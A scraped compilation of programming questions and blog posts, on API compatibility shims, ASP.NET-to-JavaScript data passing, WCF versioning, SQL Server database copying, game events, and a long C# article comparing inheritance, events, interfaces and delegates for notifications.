    The reason for doing it is to solve the case when a newer API is no longer backwards compatible with an older API. To explain, just say that there is an old API v1.0. The maker of this API decides it is broken and works on a new API v1.1 that intentionally breaks compatibility with the old API v1.0. Now, any programs written against the old API cannot be recompiled as-is with the new API. Then lets say there is a large app written against the old API and the developer doesn't have access to the source code. A solution would be to re-implement a "custom" old API v1.0 in terms of the new API v1.1 calls. So the "custom" v1.0 API is actually keeping the same interface/methods as the v1.0 API but inside its implementation it is actually making calls to the new API v1.1 methods. So the large app can be then compiled and linked against the "custom" v1.0 API and the new v1.1 API without any major source code changes. Is there a term for this practice? There's a recent example of this happening in Jamie Zawinski's port of XScreenSaver to the iPhone - he re-implemented the OpenGL 1.3 API in terms of the OpenGL ES 1.1 API. In this case, OpenGL 1.3 represents the "old" API and OpenGL ES 1.1 represents the "new" API.

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  • Using ASP.NET C# and Javascript

    - by ctck
    I'm looking for the most efficient / standardized way of passing data between client javascript code and C# code behind in an ASP.NET application. Currently ive been using the following methods to achieve this but they all feel a bit like a fudge. The way i pass data from javascript to the C# code behind is by setting hidden asp variables and triggering a postback <asp:HiddenField ID="RandomList" runat="server" /> function SetDataField(data) { document.getElementById('<%=RandomList.ClientID%>').value = data; } Then in C# code i collect the list protected void GetData(object sender, EventArgs e) { var _list = RandomList.value; } Going back the other way i often use either scriptmanager to register a function and pass it data during Page_Load: ScriptManager.RegisterStartupScript(this.GetType(), "Set","get("Test();",true); or i add attributes to controls before a post back or during Initialization / pre rendering stages: Btn.Attributes.Add("onclick", "DisplayMessage("Hello");"); These methods have served me well and do the job. However they just dont feel complete. Is there a more standardized way of passing data between client side markup / javascript and backend code. Ive seen some posts like this one: Injecting JavaScrip : StackOverflow that describe HtmlElement class. Is this something is should look into? Thanks everyone for your time.

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  • Why do you hate Java? Is it the language or the framework? [closed]

    - by zneak
    According to you all, Java is the third most-hated language here. The two other most hated languages are PHP and VBScript. (It's quite funny how they stand together on the podium.) I'd like to make it known that the question mostly addresses people who don't like Java. I assume here a number of subjective opinions as facts because they're usually considered true among people who don't like Java, and I don't want to be convinced otherwise here. If you're a Java enthusiast, you might find this question frustrating. It's never been made clear if people hate Java itself, or if they hate it because of the framework, or if it's a mixture of the two. On a side you have the language, where you have: the "everything should be an object" philosophy, even in instances where it should obviously be something else (event handlers I'm pointing you); checked exceptions; the idea that all logic should be presented as methods and properties is a big no-no; the fact that "closures" created by anonymous types only include final variables and arguments, but will allow write access to any member of the parent class; a few more. On the other side, you have the JDK, with... its load of inconsistencies and overengineering; monolithic class hierarchies; meaningless base exceptions like IOException (though other frameworks have similar exception hierarchies); sluggish responsiveness even with Swing; a few more. My question is, do you think that, if either one (Java or the JDK) was taken alone, and the other was dropped in favor of something else, the new combination would be better? For instance, if you could use the C# syntax with the JDK (adapting get*/set* methods into properties, and interfaces with only one method into delegates), or the Java syntax with the .NET Framework (doing the inverse transformations), would things get better in your opinion?

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  • how to think like a computer scientist java edition exercise 7.2 [on hold]

    - by James Canfield
    I cannot figure out how to write this program, can someone please help me?! The purpose of this method is to practice manipulating St rings. Create a new program called Name.java. This program will take a name string consisting of EITHER a first name followed by a last name (nonstandar d format) or a last name followed by a comma then a first name (standard format). Ie . “Joe Smith” vs. “Smith, Joe”. This program will convert the string to standard format if it is not already in standard format. Write a method called hasComma that takes a name as an argument and that returns a boolean indicating whether it contains a comma. If i t does, you can assume that it is in last name first format. You can use the indexOf String m ethod to help you. Write a method called convertName that takes a name as an argument. It should check whether it contains a comma by calling your hasComma method. If it does, it should just return the string. If not, then it should assume th at the name is in first name first format, and it should return a new string that contains the name converted to last name comma first format. Uses charAt, length, substring, and indexOf methods. In your main program, loop, asking the user for a n ame string. If the string is not blank, call convertName and print the results. The loop terminat es when the string is blank. HINTS/SUGGESTIONS: Use the charAt, length, substring, and indexOf Str ing methods. Use scanner for your input. To get the full line, complete with spaces, use reader.nextLine()

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  • How are events in games handled?

    - by Alex
    In may games that I have played, I have seen events being triggered, such as when you walk into a certain land area while holding a specific object, it will trigger a special creature to spawn. I was wondering, how do games deal with events such as this? Not in a specific game, but in general among games. The first thought I had was that each place has a hard-coded set of events that it will call when something happens there. However, that would be too inefficient to maintain, as when something new is added, that would require modification of every part of the game that would potentially cause the event to be called. Next up, I had the idea of maybe how GUI programming works. In all of the GUI programming I've done, you create a component and a callback function, or a listener. Then, when the user interacts when the button, the callback function is called, allowing you to do something with it. So, I was thinking that in terms of a game, when a land area gets loaded the game loops over a list of all events, creating instances of them and calling public methods to bind them to the current scene. The events themselves then handle what scene it is, and if it is a scene that pertains to the event, will call the public method of the scene to bind the event to an action. Then, when the action takes place, the scene would call all events that are bound to that action. However, I'm sure that's not how games would operate either, as that would require a lot of creating of events all the time. So how to video games handle events, are either of those methods correct, or is it something completely different?

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  • WCF Versioning, Naming and Endpoint URL

    - by Vinothkumar VJ
    I have a WCF Service and a Main Lib1. Say, I have a Save Profile Service. WCF gets data (with predefined data contract) from client and pass the same to the Main Class Lib1, generate response and send it back to client. WCF Method : SaveProfile(ProfileDTO profile) Current Version 1.0 ProfileDTO have the following UserName Password FirstName DOB (In string yyyy-mm-dd) CreatedDate (In string yyyy-mm-dd) Next Version (V2.0) ProfileDTO have the following UserName Password FirstName DOB (In UnixTimeStamp) CreatedDate (In UnixTimeStamp) Version 3.0 ProfileDTO have the following (With change in UserName and Password length validation) UserName Password FirstName DOB (In UnixTimeStamp) CreatedDate (In UnixTimeStamp) In simple we have DataContract and Workflow change between each version 1. How do I name the methods in WCF Service and Main Class Lib1? 2. Do I have to go with any specific pattern for ease development and maintenance? 3. Do I have to have different endpoints for different version? In the above example I have a method named “SaveProfile”. Do I have to name the methods like “SaveProfile1.0”, “SaveProfile2.0”, etc. If that is the case when there is no change between Version “3.0” and “4.0” then there will difficult in maintenance. I’m looking for a approach that will help in ease maintenance

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  • SQL SERVER – Copy Database – SQL in Sixty Seconds #067

    - by Pinal Dave
    There are multiple reasons why a user may want to make a copy of the database. Sometimes a user wants to copy the database to the same server and sometime wants to copy the database on a different server. The important point is that DBA and Developer may want copies of their database for various purposes. I copy my database for backup purpose. However, when we hear coping database – the very first thought which comes to our mind is – Backup and Restore or Attach and Detach. Both of these processes have their own advantage and disadvantages. The matter of the fact, those methods is much efficient and recommended methods. However, if you just want to copy your database as it is and do not want to go for advanced feature. You can just use the copy feature of the SQL Server. Here are the settings, which you can use to copy the database. SQL in Sixty Seconds Video I have attempted to explain the same subject in simple words over in following video. Action Item Here are the blog posts I have previously written on the subject of SA password. You can read it over here: Copy Database from Instance to Another Instance – Copy Paste in SQL Server Copy Database With Data – Generate T-SQL For Inserting Data From One Table to Another Table Copy Data from One Table to Another Table – SQL in Sixty Seconds #031 – Video Generate Script for Schema and Data – SQL in Sixty Seconds #021 – Video You can subscribe to my YouTube Channel for frequent updates. Reference: Pinal Dave (http://blog.sqlauthority.com)Filed under: Joes 2 Pros, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, SQLAuthority Book Review, SQLAuthority News, T SQL, Video

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  • Is there ever a reason to use C++ in a Mac-only application?

    - by Emil Eriksson
    Is there ever a reason to use C++ in a Mac-only application? I not talking about integrating external libraries which are C++, what I mean is using C++ because of any advantages in a particular application. While the UI code must be written in Obj-C, what about logic code? Because of the dynamic nature of Objective-C, C++ method calls tend to be ever so slightly faster but does this have any effect in any imaginable real life scenario? For example, would it make sense to use C++ over Objective-C for simulating large particle systems where some methods would need to be called over and over in short time? I can also see some cases where C++ has a more appropriate "feel". For example when doing graphics, it's nice to have vector and matrix types with appropriate operator overloads and methods. This, to me, seems like it would be a bit clunkier to implement in Objective-C. Also, Objective-C objects can never be treated plain old data structures in the same manner as C++ types since Objective-C objects always have an isa-pointer. Wouldn't it make sense to use C++ instead in something like this? Does anyone have a real life example of a situation where C++ was chosen for some parts of an application? Does Apple use any C++ except for the kernel? (I don't want to start a flame war here, both languages have their merits and I use both equally though in different applications.)

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  • How to protect a peer-to-peer network from inappropriate content?

    - by Mike
    I’m developing a simple peer-to-peer app in .Net which should enable users to share specific content (text and picture files). As I've learned with my last question, inappropriate content can “relatively” easily be identified / controlled in a centralized environment. But what about a peer-to-peer network, what are the best methods to protect a decentralized system from unwanted (illegal) content? At the moment I only see the following two methods: A protocol (a set of rules) defines what kind of data (e.g. only .txt and jpg-files, not bigger than 20KB etc.) can be shared over the p2p-network and all clients (peers) must implement this protocol. If a peer doesn’t, it gets blocked by other peers. Pro: easy to implement. Con: It’s not possible to define the perfect protocol (I think eMail-Spam filters have the same problem) Some kind of rating/reputation system must be implemented (similar to stackoverflow), so “bad guys” and inappropriate content can be identified / blocked by other users. Pro: Would be very accurate. Con: Would be slow and in my view technically very hard to implement. Are there other/better solutions? Any answer or comment is highly appreciated.

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  • C#: Handling Notifications: inheritance, events, or delegates?

    - by James Michael Hare
    Often times as developers we have to design a class where we get notification when certain things happen. In older object-oriented code this would often be implemented by overriding methods -- with events, delegates, and interfaces, however, we have far more elegant options. So, when should you use each of these methods and what are their strengths and weaknesses? Now, for the purposes of this article when I say notification, I'm just talking about ways for a class to let a user know that something has occurred. This can be through any programmatic means such as inheritance, events, delegates, etc. So let's build some context. I'm sitting here thinking about a provider neutral messaging layer for the place I work, and I got to the point where I needed to design the message subscriber which will receive messages from the message bus. Basically, what we want is to be able to create a message listener and have it be called whenever a new message arrives. Now, back before the flood we would have done this via inheritance and an abstract class: 1:  2: // using inheritance - omitting argument null checks and halt logic 3: public abstract class MessageListener 4: { 5: private ISubscriber _subscriber; 6: private bool _isHalted = false; 7: private Thread _messageThread; 8:  9: // assign the subscriber and start the messaging loop 10: public MessageListener(ISubscriber subscriber) 11: { 12: _subscriber = subscriber; 13: _messageThread = new Thread(MessageLoop); 14: _messageThread.Start(); 15: } 16:  17: // user will override this to process their messages 18: protected abstract void OnMessageReceived(Message msg); 19:  20: // handle the looping in the thread 21: private void MessageLoop() 22: { 23: while(!_isHalted) 24: { 25: // as long as processing, wait 1 second for message 26: Message msg = _subscriber.Receive(TimeSpan.FromSeconds(1)); 27: if(msg != null) 28: { 29: OnMessageReceived(msg); 30: } 31: } 32: } 33: ... 34: } It seems so odd to write this kind of code now. Does it feel odd to you? Maybe it's just because I've gotten so used to delegation that I really don't like the feel of this. To me it is akin to saying that if I want to drive my car I need to derive a new instance of it just to put myself in the driver's seat. And yet, unquestionably, five years ago I would have probably written the code as you see above. To me, inheritance is a flawed approach for notifications due to several reasons: Inheritance is one of the HIGHEST forms of coupling. You can't seal the listener class because it depends on sub-classing to work. Because C# does not allow multiple-inheritance, I've spent my one inheritance implementing this class. Every time you need to listen to a bus, you have to derive a class which leads to lots of trivial sub-classes. The act of consuming a message should be a separate responsibility than the act of listening for a message (SRP). Inheritance is such a strong statement (this IS-A that) that it should only be used in building type hierarchies and not for overriding use-specific behaviors and notifications. Chances are, if a class needs to be inherited to be used, it most likely is not designed as well as it could be in today's modern programming languages. So lets look at the other tools available to us for getting notified instead. Here's a few other choices to consider. Have the listener expose a MessageReceived event. Have the listener accept a new IMessageHandler interface instance. Have the listener accept an Action<Message> delegate. Really, all of these are different forms of delegation. Now, .NET events are a bit heavier than the other types of delegates in terms of run-time execution, but they are a great way to allow others using your class to subscribe to your events: 1: // using event - ommiting argument null checks and halt logic 2: public sealed class MessageListener 3: { 4: private ISubscriber _subscriber; 5: private bool _isHalted = false; 6: private Thread _messageThread; 7:  8: // assign the subscriber and start the messaging loop 9: public MessageListener(ISubscriber subscriber) 10: { 11: _subscriber = subscriber; 12: _messageThread = new Thread(MessageLoop); 13: _messageThread.Start(); 14: } 15:  16: // user will override this to process their messages 17: public event Action<Message> MessageReceived; 18:  19: // handle the looping in the thread 20: private void MessageLoop() 21: { 22: while(!_isHalted) 23: { 24: // as long as processing, wait 1 second for message 25: Message msg = _subscriber.Receive(TimeSpan.FromSeconds(1)); 26: if(msg != null && MessageReceived != null) 27: { 28: MessageReceived(msg); 29: } 30: } 31: } 32: } Note, now we can seal the class to avoid changes and the user just needs to provide a message handling method: 1: theListener.MessageReceived += CustomReceiveMethod; However, personally I don't think events hold up as well in this case because events are largely optional. To me, what is the point of a listener if you create one with no event listeners? So in my mind, use events when handling the notification is optional. So how about the delegation via interface? I personally like this method quite a bit. Basically what it does is similar to inheritance method mentioned first, but better because it makes it easy to split the part of the class that doesn't change (the base listener behavior) from the part that does change (the user-specified action after receiving a message). So assuming we had an interface like: 1: public interface IMessageHandler 2: { 3: void OnMessageReceived(Message receivedMessage); 4: } Our listener would look like this: 1: // using delegation via interface - omitting argument null checks and halt logic 2: public sealed class MessageListener 3: { 4: private ISubscriber _subscriber; 5: private IMessageHandler _handler; 6: private bool _isHalted = false; 7: private Thread _messageThread; 8:  9: // assign the subscriber and start the messaging loop 10: public MessageListener(ISubscriber subscriber, IMessageHandler handler) 11: { 12: _subscriber = subscriber; 13: _handler = handler; 14: _messageThread = new Thread(MessageLoop); 15: _messageThread.Start(); 16: } 17:  18: // handle the looping in the thread 19: private void MessageLoop() 20: { 21: while(!_isHalted) 22: { 23: // as long as processing, wait 1 second for message 24: Message msg = _subscriber.Receive(TimeSpan.FromSeconds(1)); 25: if(msg != null) 26: { 27: _handler.OnMessageReceived(msg); 28: } 29: } 30: } 31: } And they would call it by creating a class that implements IMessageHandler and pass that instance into the constructor of the listener. I like that this alleviates the issues of inheritance and essentially forces you to provide a handler (as opposed to events) on construction. Well, this is good, but personally I think we could go one step further. While I like this better than events or inheritance, it still forces you to implement a specific method name. What if that name collides? Furthermore if you have lots of these you end up either with large classes inheriting multiple interfaces to implement one method, or lots of small classes. Also, if you had one class that wanted to manage messages from two different subscribers differently, it wouldn't be able to because the interface can't be overloaded. This brings me to using delegates directly. In general, every time I think about creating an interface for something, and if that interface contains only one method, I start thinking a delegate is a better approach. Now, that said delegates don't accomplish everything an interface can. Obviously having the interface allows you to refer to the classes that implement the interface which can be very handy. In this case, though, really all you want is a method to handle the messages. So let's look at a method delegate: 1: // using delegation via delegate - omitting argument null checks and halt logic 2: public sealed class MessageListener 3: { 4: private ISubscriber _subscriber; 5: private Action<Message> _handler; 6: private bool _isHalted = false; 7: private Thread _messageThread; 8:  9: // assign the subscriber and start the messaging loop 10: public MessageListener(ISubscriber subscriber, Action<Message> handler) 11: { 12: _subscriber = subscriber; 13: _handler = handler; 14: _messageThread = new Thread(MessageLoop); 15: _messageThread.Start(); 16: } 17:  18: // handle the looping in the thread 19: private void MessageLoop() 20: { 21: while(!_isHalted) 22: { 23: // as long as processing, wait 1 second for message 24: Message msg = _subscriber.Receive(TimeSpan.FromSeconds(1)); 25: if(msg != null) 26: { 27: _handler(msg); 28: } 29: } 30: } 31: } Here the MessageListener now takes an Action<Message>.  For those of you unfamiliar with the pre-defined delegate types in .NET, that is a method with the signature: void SomeMethodName(Message). The great thing about delegates is it gives you a lot of power. You could create an anonymous delegate, a lambda, or specify any other method as long as it satisfies the Action<Message> signature. This way, you don't need to define an arbitrary helper class or name the method a specific thing. Incidentally, we could combine both the interface and delegate approach to allow maximum flexibility. Doing this, the user could either pass in a delegate, or specify a delegate interface: 1: // using delegation - give users choice of interface or delegate 2: public sealed class MessageListener 3: { 4: private ISubscriber _subscriber; 5: private Action<Message> _handler; 6: private bool _isHalted = false; 7: private Thread _messageThread; 8:  9: // assign the subscriber and start the messaging loop 10: public MessageListener(ISubscriber subscriber, Action<Message> handler) 11: { 12: _subscriber = subscriber; 13: _handler = handler; 14: _messageThread = new Thread(MessageLoop); 15: _messageThread.Start(); 16: } 17:  18: // passes the interface method as a delegate using method group 19: public MessageListener(ISubscriber subscriber, IMessageHandler handler) 20: : this(subscriber, handler.OnMessageReceived) 21: { 22: } 23:  24: // handle the looping in the thread 25: private void MessageLoop() 26: { 27: while(!_isHalted) 28: { 29: // as long as processing, wait 1 second for message 30: Message msg = _subscriber.Receive(TimeSpan.FromSeconds(1)); 31: if(msg != null) 32: { 33: _handler(msg); 34: } 35: } 36: } 37: } } This is the method I tend to prefer because it allows the user of the class to choose which method works best for them. You may be curious about the actual performance of these different methods. 1: Enter iterations: 2: 1000000 3:  4: Inheritance took 4 ms. 5: Events took 7 ms. 6: Interface delegation took 4 ms. 7: Lambda delegate took 5 ms. Before you get too caught up in the numbers, however, keep in mind that this is performance over over 1,000,000 iterations. Since they are all < 10 ms which boils down to fractions of a micro-second per iteration so really any of them are a fine choice performance wise. As such, I think the choice of what to do really boils down to what you're trying to do. Here's my guidelines: Inheritance should be used only when defining a collection of related types with implementation specific behaviors, it should not be used as a hook for users to add their own functionality. Events should be used when subscription is optional or multi-cast is desired. Interface delegation should be used when you wish to refer to implementing classes by the interface type or if the type requires several methods to be implemented. Delegate method delegation should be used when you only need to provide one method and do not need to refer to implementers by the interface name.

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